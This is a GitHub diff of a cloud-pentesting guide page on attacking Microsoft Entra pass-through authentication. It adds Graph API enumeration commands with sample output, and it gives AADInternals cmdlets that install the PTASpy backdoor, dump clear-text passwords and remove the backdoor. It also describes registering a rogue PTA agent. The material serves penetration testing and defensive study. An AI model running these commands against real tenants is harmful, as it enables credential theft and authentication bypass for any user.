You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md
+47-12Lines changed: 47 additions & 12 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -4,9 +4,9 @@
4
4
5
5
## Basic Information
6
6
7
-
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta)Azure Active Directory (Azure AD) Pass-through Authentication allows your users to **sign in to both on-premises and cloud-based applications using the same passwords**. This feature provides your users a better experience - one less password to remember, and reduces IT helpdesk costs because your users are less likely to forget how to sign in. When users sign in using Azure AD, this feature **validates users' passwords directly against your on-premises Active Directory**.
7
+
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta)Microsoft Entra pass-through authentication allows your users to **sign in to both on-premises and cloud-based applications using the same passwords**. This feature provides your users a better experience - one less password to remember, and reduces IT helpdesk costs because your users are less likely to forget how to sign in. When users sign in using Microsoft Entra ID, this feature validates users' passwords directly against your on-premises Active Directory.
8
8
9
-
In PTA **identities** are **synchronized** but **passwords****aren't** like in PHS.
9
+
In PTA **identities** are **synchronized** but **passwordsaren't** like in PHS.
10
10
11
11
The authentication is validated in the on-prem AD and the communication with cloud is done by an **authentication agent** running in an **on-prem server** (it does't need to be on the on-prem DC).
12
12
@@ -23,23 +23,60 @@ The authentication is validated in the on-prem AD and the communication with clo
23
23
> If an attacker **compromises** the **PTA** he can **see** the all **credentials** from the queue (in **clear-text**).\
24
24
> He can also **validate any credentials** to the AzureAD (similar attack to Skeleton key).
25
25
26
-
### On-Prem -> cloud
26
+
### Enumeration
27
27
28
-
If you have **admin** access to the **Azure AD Connect server** with the **PTA****agent** running, you can use the **AADInternals** module to **insert a backdoor** that will **validate ALL the passwords** introduced (so all passwords will be valid for authentication):
28
+
From Entra ID:
29
29
30
30
```bash
31
-
Install-AADIntPTASpy
31
+
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
"displayName": "Default group for Pass-through Authentication",
49
+
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
50
+
"isDefault": true,
51
+
"publishingType": "authentication"
52
+
}
53
+
]
54
+
}
32
55
```
33
56
34
-
> [!NOTE]
35
-
> If the **installation fails**, this is probably due to missing [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
57
+
Check if the agent is running in the on-prem server:
It's also possible to **see the clear-text passwords sent to PTAagent**using the following cmdlet on the machine where the previous backdoor was installed:
65
+
If you have **admin** access to the **Azure AD Connect server** with the **PTA****agent**running, you can use the **AADInternals** module to **insert a backdoor** that will **validate ALL the passwords** introduced (so all passwords will be valid for authentication):
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
71
+
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
72
+
73
+
Remove-AADIntPTASpy # Remove the backdoor
41
74
```
42
75
76
+
> [!NOTE]
77
+
> If the **installation fails**, this is probably due to missing [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
78
+
79
+
43
80
This backdoor will:
44
81
45
82
- Create a hidden folder `C:\PTASpy`
@@ -49,10 +86,8 @@ This backdoor will:
49
86
> [!NOTE]
50
87
> When the AzureADConnectAuthenticationAgent service is restarted, PTASpy is “unloaded” and must be re-installed.
51
88
52
-
### Cloud -> On-Prem
53
-
54
89
> [!CAUTION]
55
-
> After getting **GA privileges** on the cloud, it's possible to **register a new PTA agent**by setting it on an **attacker controlled machine**. Once the agent is **setup**, we can **repeat** the **previous** steps to **authenticate using any password** and also, **get the passwords in clear-text.**
90
+
> After getting **GA privileges** on the cloud, it's possible to **register a new PTA agent**and can **repeat** the **previous** steps to **authenticate using any password** and also, **get the passwords in clear-text.**
0 commit comments